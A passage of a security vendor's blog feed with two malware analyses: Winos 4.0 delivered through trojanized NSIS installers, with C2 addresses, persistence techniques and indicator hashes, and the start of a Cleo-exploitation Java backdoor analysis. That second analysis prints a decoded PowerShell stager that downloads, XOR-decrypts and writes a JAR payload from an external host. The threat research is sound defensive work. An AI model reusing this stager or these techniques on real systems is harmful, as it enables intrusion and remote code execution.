legitimate Tencent PC Manager installer. The binary, titled 腾讯电脑管家在线安装程序 (machine translation: <em>"Tencent PC Manager Online Installation Program"</em> (in both metadata and resource strings).</p><p>The binary is signed with an expired certificate issued by <strong>VeriSign Class 3 Code Signing CA </strong>(2010) and allegedly belongs to Tencent Technology (Shenzhen), valid from 2018-10-11 to 2020-02-02.</p><p>The binary includes deceptive artifacts such as localized UI strings in Chinese, internal references to Tencent development paths, and hardcoded XML updater config pointing to `<strong>QQPCDownload.dll</strong>`</p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5c6c8f156af6876e/684836be5443428c3324cc52/blog-nsis-9.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-nsis-9.png" asset-alt="blog-nsis-9.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5c6c8f156af6876e/684836be5443428c3324cc52/blog-nsis-9.png" data-sys-asset-uid="blt5c6c8f156af6876e" data-sys-asset-filename="blog-nsis-9.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-nsis-9.png" sys-style-type="display"/></p>Figure 7: Hardcoded PDB path from `insttect.exe`<p></p><p>These elements reinforce the loader's appearance as legitimate software.</p><p>Upon execution, `<strong>insttect.exe</strong>` locates `%LOCALAPPDATA%\Single.ini`, allocates memory with <strong>PAGE_EXECUTE_READWRITE</strong> permissions, copies the file into that region, and transfers control to its start. As previously described, the payload uses the sRDI format—enabling the embedded shellcode to self-parse and reflectively load the DLL without separate extraction.</p><p>Windows API calls related to shellcode loading are resolved dynamically via hashed function names.</p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltaf44e74868fcb490/684836dd8438030bd5165acb/blog-nsis-10.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-nsis-10.png" asset-alt="blog-nsis-10.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltaf44e74868fcb490/684836dd8438030bd5165acb/blog-nsis-10.png" data-sys-asset-uid="bltaf44e74868fcb490" data-sys-asset-filename="blog-nsis-10.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-nsis-10.png" sys-style-type="display"/></p>Figure 8: Hashed API Resolution Routine<p></p><p>The DLL embedded within `<strong>Single.ini</strong>` takes a snapshot of running processes and continuously checks for `<strong>360tray.exe</strong>` and `<strong>360safe.exe</strong>`. These are components of 360 Total Security, a popular antivirus product developed by Chinese vendor Qihoo 360.</p><p>However, when tested with a dummy `<strong>360tray.exe</strong>`, the malware showed no response—neither terminating the process nor altering its own behavior.</p><h3>Stage 2: Execution of intel.dll and Config.ini files</h3><p>The `<strong>.nsi scrip</strong>t` drops `i<strong>ntel.dll</strong>`, `<strong>Config.ini</strong>`, and `<strong>Config2.ini</strong>` into <em>%APPDATA%\TrustAsia</em>, and uses nsExec::Exec to invoke intel.dll via a regsvr32 call.</p><p>Both `<strong>Config.ini</strong>` and `<strong>Config2.ini`</strong> initially appeared benign due to their generic names. However, as with earlier payloads, both `<strong>.ini</strong>` are binary blobs containing shellcode formatted using the Shellcode Reflective DLL Injection (sRDI) technique described earlier.</p><p>As noted in the QQBrowser case, earlier variants loaded the shellcode from disk using PowerShell scripts. In this version, execution is handled entirely in memory via `<strong>regsvr32.exe</strong>`, which invokes `<strong>intel.dll</strong>`. As is typical for DLLs executed this way, `<strong>intel.dll</strong>` exports the `<strong>DllRegisterServer</strong>` function, which is automatically called.</p><p>While this shift avoids PowerShell, it’s not necessarily more evasive, since `<strong>regsvr32.exe`</strong> is a well-known LOLBin and is commonly monitored by modern EDR solutions. Upon execution, `<strong>intel.dll</strong>` loader creates a hardcoded mutex `<strong>99907F23-25AB-22C5-057C-5C1D92466C65</strong>` using the `<strong>CreateMutexA</strong>` API, and checks for the presence of two indicators: the mutex itself, and a file named `<strong>Temp.aps</strong>` in <em>%APPDATA%\TrustAsia</em>. If both are found, `<strong>Config2.ini</strong>` is loaded; otherwise, the default `<strong>Config.ini</strong>` is used.</p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt55cf8d655f0dc37a/684837033669c5f479d86fd7/blog-nsis-11.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-nsis-11.png" asset-alt="blog-nsis-11.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt55cf8d655f0dc37a/684837033669c5f479d86fd7/blog-nsis-11.png" data-sys-asset-uid="blt55cf8d655f0dc37a" data-sys-asset-filename="blog-nsis-11.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-nsis-11.png" sys-style-type="display"/></p>Figure 9: Handle to Config.ini being returned<p></p><p>Once the appropriate `<strong>.ini</strong>` file is chosen, the loader opens it using `<strong>CreateFileW</strong>` and loads its contents into memory. As seen in earlier stages, the `<strong>.ini</strong>` file contains a shellcode blob using the sRDI format, which self-parses and reflectively loads an embedded DLL.</p><p>The in-memory DLL, extracted and executed entirely from within the shellcode blob, exports a single function named `<strong>VFPower</strong>`, a naming convention consistent across all observed samples. Debug symbols embedded in the DLL reference a Chinese development path <em>E:\冲锋\进行中\Code_Shellcode - 裸体上线用作注入\Release\Code_Shellcode.pdb</em> (machine translation: <em>E:\Charge\In Progress\Code_Shellcode - Naked online for injection \ Release \ Code _ Shellcode.pdb</em>).</p><p>During runtime, this in-memory DLL creates a hardcoded mutex `<strong>zhuxianlu</strong>` (machine translation: main line) and verifies if it was launched from `UserAccountBroker.exe`. If true, it immediately initiates C2 communication, likely assuming it was started with elevated privileges. Otherwise, the malware continues execution by spawning five threads, each responsible for a specific task before ultimately reaching the same C2 routine.</p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb8c1df54e92889f9/684837d84fb470a3e183c987/blog-nsis-12.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-nsis-12.png" asset-alt="blog-nsis-12.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb8c1df54e92889f9/684837d84fb470a3e183c987/blog-nsis-12.png" data-sys-asset-uid="bltb8c1df54e92889f9" data-sys-asset-filename="blog-nsis-12.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-nsis-12.png" sys-style-type="display"/></p>Figure 10: Mutex Check and C2 Trigger Logic<p></p><p>The five threads carry out the following actions:</p><p><strong>Thread 1</strong> launches PowerShell via `<strong>ShellExecuteExA</strong>` to add a Microsoft Defender exclusion for the C:\ drive.</p><p><strong>Thread 2</strong> attempts to establish persistence via scheduled task registration as seen in the earlier QQBrowser incident described in the introduction. It generates two files:</p><p>`<strong>PolicyManagement.xml</strong>` — an XML file defining a scheduled task</p><p>`<strong>updated.ps1</strong>` — a PowerShell script that imports and registers the task<br/><br/>To ensure the script runs without restriction the malware first sets PowerShell policies to `<strong>Unrestricted</strong>` (for the current user) and `<strong>Bypass</strong>` (for the specific script). The scheduled task is configured to invoke `<strong>regsvr32.exe</strong>` at logon, which in turn re-executes either `<strong>intel.dll</strong>` or `<strong>insttect.exe</strong>` loader.</p><p>Although this operation failed during our analysis even with the Chinese language pack installed, it was attempted twice—we believe to ensure redundancy or persistence across both loaders. Both files `<strong>PolicyManagement.xml</strong>` and <strong>`updated.ps1</strong>` are deleted immediately after execution.</p><p><strong>Thread 3</strong> takes a snapshot of all running processes and scans for any instance of `<strong>Telegram.exe</strong>`, `t<strong>elegram.exe</strong>`, or `<strong>WhatsApp.exe</strong>`. If any of these are detected, it creates an empty marker file named `<strong>Temp.aps</strong>` in <em>%APPDATA%\TrustAsia</em>, and then executes:</p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf3f5b01c1745d000/68483807544342344724cc6c/blog-nsis-13.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-nsis-13.png" asset-alt="blog-nsis-13.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf3f5b01c1745d000/68483807544342344724cc6c/blog-nsis-13.png" data-sys-asset-uid="bltf3f5b01c1745d000" data-sys-asset-filename="blog-nsis-13.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-nsis-13.png" sys-style-type="display"/></p><p>This triggers the second-stage loader. The presence of the `<strong>Temp.aps</strong>`alters the loader’s behavior, causing it to run `<strong>Config2.ini</strong>` instead of `<strong>Config.ini</strong>`.</p><p><strong>Thread 4</strong> checks for the existence of the file `<strong>TrustAsia\Exit.aps`</strong>. If found, the file is deleted and the malware terminates.</p><p><strong>Thread 5</strong> acts as a persistence watchdog for the second-stage loader. It creates two files: `<strong>target.pid</strong>`, which stores the process ID of the running regsvr32.exe instance executing `<strong>intel.dll`</strong> loader, and `<strong>monitor.bat</strong>`, a batch script that checks whether this process is still running. If not, the script attempts to relaunch it. This check runs every 15 seconds to ensure `<strong>intel.dll`</strong> remains continuously active.</p><br/><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8304771e407b5a4b/6848383fdefcc8286b03911d/blog-nsis-14.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-nsis-14.png" asset-alt="blog-nsis-14.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8304771e407b5a4b/6848383fdefcc8286b03911d/blog-nsis-14.png" data-sys-asset-uid="blt8304771e407b5a4b" data-sys-asset-filename="blog-nsis-14.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-nsis-14.png" sys-style-type="display"/>Figure 11: Content of monitor.bat watchdog<p></p><p>Following thread execution, the final function is responsible for C2 communication. Since the earliest observed sample from February 2024, the malware has used Windows sockets and the `<strong>getaddrinfo</strong>` API to resolve a hardcoded IP and port 18852 which also seems to be consistent across all analyzed samples of `<strong>Config.ini`</strong>.</p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt403790b4ff37f2da/6848386e3669c59dcad86fee/blog-nsis-15.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-nsis-15.png" asset-alt="blog-nsis-15.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt403790b4ff37f2da/6848386e3669c59dcad86fee/blog-nsis-15.png" data-sys-asset-uid="blt403790b4ff37f2da" data-sys-asset-filename="blog-nsis-15.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-nsis-15.png" sys-style-type="display"/></p><p>Once the connection is established, malware retrieves the next-stage payload from the C2 server, allocates a new memory region with <strong>PAGE_EXECUTE_READWRITE</strong> permissions, copies the downloaded content into memory, and transfers execution to it. This is the delivery of the final stage, observed as Winos v4.0 in recent samples.</p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1eb772bcb01fc28d/684838919194392c71b368f5/blog-nsis-16.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-nsis-16.png" asset-alt="blog-nsis-16.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1eb772bcb01fc28d/684838919194392c71b368f5/blog-nsis-16.png" data-sys-asset-uid="blt1eb772bcb01fc28d" data-sys-asset-filename="blog-nsis-16.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-nsis-16.png" sys-style-type="display"/></p>Figure 12: Jump to final payload<p></p><h3><strong>Final payload Winos4.0</strong></h3><p>The `intel.dll` loader selects either `<strong>Config.in</strong>i` or `<strong>Config2.ini</strong>` based on runtime conditions, such as the presence of a mutex `<strong>VJANCAVESU</strong>` and a `<strong>Temp.aps</strong>`<strong> </strong>marker file. Each of these `<strong>.ini</strong>` files contains sRDI shellcode that connects to a different C2 server to download the next-stage payload which was Winos4.0 in our case.</p><p>In recent samples, the payloads were downloaded from:</p><p>`Config.ini` → <strong>134.122.204[.]11:18852</strong></p><p>`Config2.ini` → <strong>103.46.185[.]44:443</strong></p><p>Although being retrieved from different C2 servers, both payloads were nearly identical: 112 KB in size and structured as sRDI shellcode containing an embedded DLL. This DLL uses the same reflective loading technique seen in previous stages, exports a single-function `<strong>VFPower</strong>` and and includes debug metadata referencing a Chinese development path:</p><p><em>C:\Users\Administrator\Desktop\Quick4\主插件\Release\��线模块.pdb </em>(machine translation: <em>C:\Users\Administrator\Desktop\Quick4\Main Plug-in\Release\Online Module.pdb</em>)</p><p>Based on available evidence supported by debug info, we can say this is Winos4.0 stager `<strong>上线模块.dll</strong>`( machine translation: `<strong>Online Module.dll</strong>`.)</p><h3>Extracted configuration</h3><p>The Winos v4.0 stager downloaded from 134.122.204[.]11:18852 contains an embedded configuration block. The data appears to control runtime behavior, C2 communication, and implant settings. A decoded sample is shown below:</p><p>Extracted Configuration from Payload (134.122.204[.]11:18852)</p><table><thead><tr><th><p>Configuration</p></th><th><p>Data</p></th><th><p>Description</p></th></tr></thead><tbody><tr><td><p>p1</p></td><td><p>134.122.204[.]11</p></td><td><p>First CC IP address</p></td></tr><tr><td><p>o1</p></td><td><p>6074</p></td><td><p>First port</p></td></tr><tr><td><p>t1</p></td><td><p>1</p></td><td><p>Protocol (TCP)</p></td></tr><tr><td><p>p2</p></td><td><p>134.122.204[.]11</p></td><td><p>Second CC IP address</p></td></tr><tr><td><p>o2</p></td><td><p>6075</p></td><td><p>Second option port</p></td></tr><tr><td><p>t2</p></td><td><p>1</p></td><td><p>Protocol (TCP)</p></td></tr><tr><td><p>p3</p></td><td><p>134.122.204[.]11</p></td><td><p>Third CC IP address</p></td></tr><tr><td><p>o3</p></td><td><p>6076</p></td><td><p>Third option port</p></td></tr><tr><td><p>t3</p></td><td><p>1</p></td><td><p>Protocol (TCP)</p></td></tr><tr><td><p>dd</p></td><td><p>1</p></td><td><p>Implant execution delay in seconds</p></td></tr><tr><td><p>cl</p></td><td><p>1</p></td><td><p>Beaconing interval in seconds</p></td></tr><tr><td><p>fz</p></td><td><p>认默 (default)</p></td><td><p>Grouping</p></td></tr><tr><td><p>bb</p></td><td><p>1.0</p></td><td><p>Version</p></td></tr><tr><td><p>bz</p></td><td><p>2025.4.24</p></td><td><p>Generation date</p></td></tr><tr><td><p>jp</p></td><td><p>0</p></td><td><p>Keylogger</p></td></tr><tr><td><p>bh</p></td><td><p>0</p></td><td><p>End bluescreen</p></td></tr><tr><td><p>ll</p></td><td><p>0</p></td><td><p>Antitraffic monitoring</p></td></tr><tr><td><p>dl</p></td><td><p>0</p></td><td><p>Entry point</p></td></tr><tr><td><p>sh</p></td><td><p>0</p></td><td><p>Process daemon</p></td></tr><tr><td><p>kl</p></td><td><p>0</p></td><td><p>Process hollowing</p></td></tr><tr><td><p>bd</p></td><td><p>0</p></td><td><p>N/A</p></td></tr></tbody></table><p>In previous incidents, Winos 4.0 has been linked to the Silver Fox APT group <a href="https://www.scworld.com/brief/attacks-with-winos-4-0-malware-hit-taiwan">operation</a> known for distributing malware like ValleyRAT via trojanized utilities and vulnerability exploitation. Notably, similar TTPs were observed in the CleverSoar <a href="https://www.rapid7.com/blog/post/2024/11/27/new-cleversoar-installer-targets-chinese-and-vietnamese-users/">campaign</a> described by Rapid7 in November 2024 which also delivered Winos4.0 and checked system locale settings for Chinese or Vietnamese—suggesting targeting based on regional language.</p><h2>Infrastructure</h2><p>During our investigation, the hardcoded IP address 103.46.185[.]44 found in `<strong>Config.ini</strong>` was confirmed to host the final Winos 4.0 payload. Shodan scans showed it serving a binary blob that begins with recognizable sRDI shellcode and contains an embedded DLL identical to the Winos 4.0 stager ("Online Module") analyzed in this report.</p><p>Pivoting on this sample using Shodan hash -646083836, we identified eight additional IPs distributing the exact same payload: 112.213.101[.]161, 112.213.101[.]139, 103.46.185[.]73, 47.83.184[.]193, 202.79.173[.]50, 202.79.173[.]54, 202.79.173[.]98, and 103.46.185[.]44.</p><p>Each host returned identical byte sequences, indicating a shared and coordinated infrastructure distributing the same stage-one loader across multiple nodes, mostly hosted in Hong Kong.</p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt22b0877c3e55e817/684838e0183770153f1f2117/blog-nsis-17.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-nsis-17.png" asset-alt="blog-nsis-17.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt22b0877c3e55e817/684838e0183770153f1f2117/blog-nsis-17.png" data-sys-asset-uid="blt22b0877c3e55e817" data-sys-asset-filename="blog-nsis-17.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-nsis-17.png" sys-style-type="display"/></p>Figure 13: Shared Hosting of Identical Winos v4.0 Payloads<p></p><p>To expand this infrastructure mapping, we extracted additional C2 addresses from historic MDR case data and active threat hunting leads. These included:</p><p>43.226.125[.]44:18852, 47.238.125[.]85:18852, 137.220.229[.]34:18852, 8.210.165[.]181:18852, 143.92.61[.]154:18852, 47.86.28[.]28:18852, 202.79.168[.]211:443, 27.122.59[.]71:443,<br/>143.92.63[.]144:18852, 202.79.171[.]133:443, 112.213.116[.]91:18852</p><p>Pivoting on these nodes using Shodan hash correlations revealed additional infrastructure often resolving to the same ASNs or hosting providers, such as</p><p>CTG Server Ltd. / MEGA-II IDC (AS152194)<br/>OK COMMUNICATION / LANDUPS LIMITED (AS150452)<br/>Alibaba Cloud (AS45102)<br/>Tcloudnet, Inc. (AS399077)</p><h2>Conclusion</h2><p>This campaign shows a well-organized, regionally focused malware operation using trojanized NSIS installers to quietly drop the Winos v4.0 stager. It leans heavily on memory-resident payloads, reflective DLL loading, and decoy software signed with legit certificates to avoid raising alarms.</p><p>The malware’s logic—using mutexes to choose payloads, hiding shellcode in INI files, and layering persistence tricks like scheduled tasks and watchdog scripts—points to an actor that’s refining, not reinventing, their playbook. Infrastructure overlaps and language-based targeting hint at ties to Silver Fox APT, with activity likely aimed at Chinese-speaking environments. Rapid7 continues to track this threat and has detections in place to help protect customers.</p><h2>Indicators of compromise</h2><p><strong>File Indicators</strong></p><table><thead><tr><th><p>Config2.ini</p></th><th><p>4CB2CAB237893D0D661E2378E7FE4E1BAFBFAEFD713091E26C96F7EC182B6CD0</p></th></tr></thead><tbody><tr><td><p>Config.ini</p></td><td><p>E2490CFD25D8E66A7888F70B56FF8409494DE3B3D87BC5464D3ADABBA8B32177</p></td></tr><tr><td><p>Iatsvpn-Latest.exe</p></td><td><p>1E57AC6AD9A20CFAB1FE8EDD03107E7B63AB45CA555BA6CE68F143568884B003</p></td></tr><tr><td><p>InstallOptions.dll</p></td><td><p>B2091205E225FC07DAF1101218C64CE62A4690CACAC9C3D0644D12E93E4C213C</p></td></tr><tr><td><p>insttect.exe</p></td><td><p>4FDEDADAA57412E242DC205FABDCA028F6402962D3A8AF427A01DD38B40D4512</p></td></tr><tr><td><p>ioSpecial.ini</p></td><td><p>D95AED234F932A1C48A2B1B0D98C60CA31F962310C03158E2884AB4DDD3EA1E0</p></td></tr><tr><td><p>nsExec.dll</p></td><td><p>01E72332362345C415A7EDCB366D6A1B52BE9AC6E946FB9DA49785C140BA1A4B</p></td></tr><tr><td><p>setup.xml</p></td><td><p>E036D5E88A51008B130673AD65872559C060DEEB29A0F8DA103FE6D036E9D031</p></td></tr><tr><td><p>modern-wizard.bmp</p></td><td><p>3AD2DC318056D0A2024AF1804EA741146CFC18CC404649A44610CBF8B2056CF2</p></td></tr><tr><td><p>Single.ini</p></td><td><p>B22599DD0A1C44CA1B35DF16006F3085BDDAE3EBBA6A3649EC6E4DC4CBF74865</p></td></tr><tr><td><p>System.dll</p></td><td><p>9111099EFE9D5C9B391DC132B2FAF0A3851A760D4106D5368E30AC744EB42706</p></td></tr><tr><td><p>[LICENSE].txt</p></td><td><p>16C79970ED965B31281270B1BE3F1F43671DFAF39464D7EAC38B8B27C66661CF</p></td></tr><tr><td><p>[NSIS].nsi</p></td><td><p>47AD38ADC3B18FB62A8E0A33E9599FD0B90D9DE220D1A18B6761D035448C378F</p></td></tr><tr><td><p>QQPCDownload.dll</p></td><td><p>28D2477926DE5D5A8FFCB708CB0C95C3AA9808D757F77B92F82AD4AA50A05CC8</p></td></tr><tr><td><p>intel.dll</p></td><td><p>B8E8A13859ED42E6E708346C555A094FDC3FBD69C3C1CB9EFB43C08C86FE32D0</p></td></tr><tr><td><p>monitor.bat</p></td><td><p>5767D408EC37B45C7714D70AE476CB34905AD6B59830572698875FC33C3BAF2F</p></td></tr></tbody></table><p><strong>Network Indicators</strong></p><p>156.251.17.243[:]18852</p><p>134.122.204.11[:]18852</p><p>103.46.185.44[:]443</p><p><strong>MITRE TTPs</strong></p><table><thead><tr><th><p>ATT&CK ID</p></th><th><p>Name</p></th></tr></thead><tbody><tr><td><p>T1204.002</p></td><td><p>User Execution: Malicious File</p></td></tr><tr><td><p>T1053.005</p></td><td><p>Scheduled Task/Job: Scheduled Task</p></td></tr><tr><td><p>T1562.001</p></td><td><p>Impair Defenses: Disable or Modify Tools</p></td></tr><tr><td><p>T1218.010</p></td><td><p>System Binary Proxy Execution: Regsvr32</p></td></tr><tr><td><p>T1218.011</p></td><td><p>System Binary Proxy Execution: Rundll32</p></td></tr><tr><td><p>T1070.004</p></td><td><p>Indicator Removal: File Deletion</p></td></tr><tr><td><p>T1036.004</p></td><td><p>Masquerading: Masquerade Task or Service</p></td></tr><tr><td><p>T1027.013</p></td><td><p>Obfuscated Files or Information: Encrypted/Encoded File</p></td></tr><tr><td><p>T1055.001</p></td><td><p>Process Injection: Dynamic-link Library Injection</p></td></tr><tr><td><p>T1071.001</p></td><td><p>Application Layer Protocol: Web Protocols</p></td></tr><tr><td><p>T1059.001</p></td><td><p>Command and Scripting Interpreter: PowerShell</p></td></tr><tr><td><p>T1620</p></td><td><p>Reflective Code Loading</p></td></tr><tr><td><p>T1057</p></td><td><p>Process Discovery</p></td></tr><tr><td><p>T1083</p></td><td><p>File and Directory Discovery</p></td></tr><tr><td><p>T1105</p></td><td><p>Ingress Tool Transfer</p></td></tr></tbody></table><p><strong>More IOCs in our Github</strong></p><p><a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/nsis-abuse-srdi-winos4">https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/nsis-abuse-srdi-winos4</a></p><h2>Rapid7 customers</h2><p>InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to Catena. We will also continue to iterate detections as new variants emerge, giving customers continuous protection without manual tuning:</p><ul><li>Suspicious Scheduled Task - Potential QQBrowser Scheduled Task Identified</li><li>Suspicious Process - Potential QQBrowser Second Stage Execution</li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/2025/05/22/nsis-abuse-and-srdi-shellcode-anatomy-of-the-winos-4-0-campaign</link>
      <guid isPermaLink="false">blt168cb529a5de3fab</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Labs]]></category>
      <category><![CDATA[Malware]]></category><dc:creator><![CDATA[Anna Širokova]]></dc:creator>
      <pubDate>Thu, 22 May 2025 12:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbb92b03646442bc2/683de528ff6aa9ec420ea9dd/gettyimages-1307354522.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Modular Java Backdoor Dropped in Cleo Exploitation Campaign]]></title>
      <description><![CDATA[<p><em>Many thanks to Rapid7 MDR and incident response teams for their contributions to this analysis.</em></p><p>While investigating incidents related to <a href="/blog/post/2024/12/10/etr-widespread-exploitation-of-cleo-file-transfer-software-cve-2024-50623/">Cleo software exploitation</a>, <a href="/research/">Rapid7 Labs</a> and <a href="/services/managed-detection-and-response-mdr/">MDR</a> observed a novel, multi-stage attack that deploys an encoded Java Archive (JAR) payload. Our investigation revealed that the JAR file was part of a modular, Java-based Remote Access Trojan (RAT) system. This RAT facilitated system reconnaissance, file exfiltration, command execution, and encrypted communication with the attacker’s command-and-control (C2) server. Its modular architecture includes components for dynamic decryption, network management, and staged data transfer.</p><p>It’s worthwhile to note that this isn’t necessarily the only payload that has or will be deployed in attacks targeting Cleo software — it’s entirely possible an alternate payload could be leveraged. This underscores the importance of timely detection and response capabilities, as well as the critical role of monitoring assets that may be impacted by unknown zero-day threats.</p><p>At a high level, the attack flow can be visualized like so:</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1b3d17386806facf/683de6433323a50d6580aad1/Cleo_FLow_Attack_v1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Cleo_FLow_Attack_v1.png" asset-alt="Cleo_FLow_Attack_v1.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1b3d17386806facf/683de6433323a50d6580aad1/Cleo_FLow_Attack_v1.png" data-sys-asset-uid="blt1b3d17386806facf" data-sys-asset-filename="Cleo_FLow_Attack_v1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Cleo_FLow_Attack_v1.png" sys-style-type="display"/></figure><p>As Huntress pointed out in their <a href="https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild">blog</a> on this threat campaign, part of the attack chain involves uploading and executing an XML file as part of a ZIP. When analyzing the XML file that contains the PowerShell code, we looked at the code to understand how the code would trigger in line with the known CVE (CVE-2024-50623) and the new CVE (still pending) for the <a href="https://support.cleo.com/hc/en-us/articles/28389495587095-Unauthenticated-Malicious-Hosts-Vulnerability">unauthenticated malicious hosts</a> vulnerability in Cleo software. </p><p>The XML snippet appears to define a "Host" and "Mailbox" configuration in Cleo Integration Suite (e.g., Harmony, VLTrader, or LexiCom). Cleo software often uses XML-based configuration files for trading partner setups, hosts, mailboxes, and scheduled actions or commands. Each &lt;Host&gt; element represents a communication endpoint, and each &lt;Mailbox&gt; often represents a sub-endpoint or logical folder. </p><p>The &lt;Action&gt; elements define which tasks (commands, scripts, or transfers) should be performed. Looking at the code of our XML, we observed a suspicious element.</p><p>Under &lt;Mailbox&gt; there is an &lt;Action&gt; element with actiontype="Commands". Inside this action, there's a &lt;Commands&gt; tag that runs:</p><pre>SYSTEM cmd.exe /c "powershell -NonInteractive -EncodedCommand &lt;base64_data&gt;" &gt; webserver/temp/webserver-&lt;GUID&gt;.swp<br/></pre><p>The &lt;Commands&gt; directive is invoking cmd.exe which runs PowerShell with an encoded command. The command is outputting to a .swp file, possibly to hide or store results locally.</p><p>By embedding this script within the &lt;Action&gt; element of the XML, if the CLEO system imports this configuration and executes the defined action by combining the vulnerability mentioned in CVE-2024-50623, the malicious code will run on the server. This could completely compromise the system running CLEO, given that CLEO often runs with significant privileges and access to internal systems and file shares.</p><h3>Analyzing the malicious PowerShell script content</h3><p>The script in question was originally invoked as remote code execution (RCE) during suspected CVE-2024-50623 exploitation:</p><p>powershell -NonInteractive -EncodedCommand &lt;base64_string&gt;</p><p>This is a common technique used by attackers to obfuscate their malicious code. Decoding the Base64 string reveals a PowerShell snippet that:</p><ol><li><strong>Establishes a TCP connection</strong> to a suspicious external host (185.181.230.103) on port 443. (See additional external host indicators in the IOCs section.)</li><li><strong>Retrieves and decrypts data from the remote server</strong> using a custom XOR-based routine.</li><li><strong>Writes the decrypted output</strong> as a JAR file named <strong>cleo.2853</strong>.</li><li><strong>Executes the malicious JAR</strong> using the embedded Java runtime of Cleo LexiCom (jre\bin\java.exe -jar cleo.2853).</li></ol><h3>Step-by-step analysis</h3><p></p><p><strong>1.	Network connection setup</strong><br/>The script begins by creating a Net.Sockets.TcpClient object and connecting it to the remote server:</p><pre>$c = New-Object Net.Sockets.TcpClient("185.181.230.103", 443)<br/>$s = $c.GetStream()<br/>$s.ReadTimeout = 10000<br/>$w = New-Object System.IO.StreamWriter $s<br/></pre><p>A StreamWriter $w is then created, allowing the script to send initial data to the server. The malware sends the “TLS v3 &lt;string.&gt;” and processes the response. This serves as a form of handshake or protocol initialization.</p><p><strong>2.</strong>	<strong>XOR decryption setup</strong><br/>Before reading any payload from the server, the script sets up key variables for decrypting data:</p><pre>$k = 112,171,142,211,15,25,18,201,93,185,21,234,208,30,189,187<br/>$a = New-Object System.Byte[] 9999<br/>$f = "cleo.2853"<br/>$t = New-Object IO.FileStream($f, [IO.FileMode]::Create)<br/>$n = $g = 0<br/></pre><ul><li>$k is an array of 16 bytes used as part of the XOR encryption key.</li><li>$a is a large buffer (9999 bytes) to hold data read from the stream.</li><li>$f is the output file that will eventually contain the decrypted payload.</li><li>$t is a file stream for writing data to disk.</li></ul><p><strong>3.	Reading and decrypting the payload</strong><br/>The script enters a loop, reading chunks of data and decrypting each byte with a custom XOR routine:</p><pre>while(1){<br/>    $r = $s.Read($a,0,9999)<br/>    if($r -le 0){break}<br/>    for($i=0;$i -lt $r;$i++){<br/>        $j = $n++ -band 15<br/>        $a[$i] = $a[$i] -bxor $k[$j] -bxor $g<br/>        $g = ($g + $a[$i]) -band 255<br/>        $k[$j] = ($k[$j] + 3) -band 255<br/>    }<br/>    $t.Write($a,0,$r)<br/>}<br/></pre><p>This code does several things:</p><ul><li>It continuously reads data from the remote server into $a.</li><li>For each byte, it calculates an index $j into $k (cycling through the key bytes).</li><li>It XORs the received byte with $k[$j] and a running state variable $g.</li><li>$g and $k[$j] evolve dynamically, meaning the key changes with every byte processed, making static detection harder.</li><li>Decrypted bytes are then written directly into the file cleo.2853.</li></ul><p>The number behind the “cleo.*” differs in the cases we observed. By the end of this loop, the attacker’s encrypted payload is stored locally as a decrypted file.</p><p><strong>4.	Final steps: Executing the malicious JAR</strong><br/>After fetching and decrypting the data, the script closes all streams and sets some environment 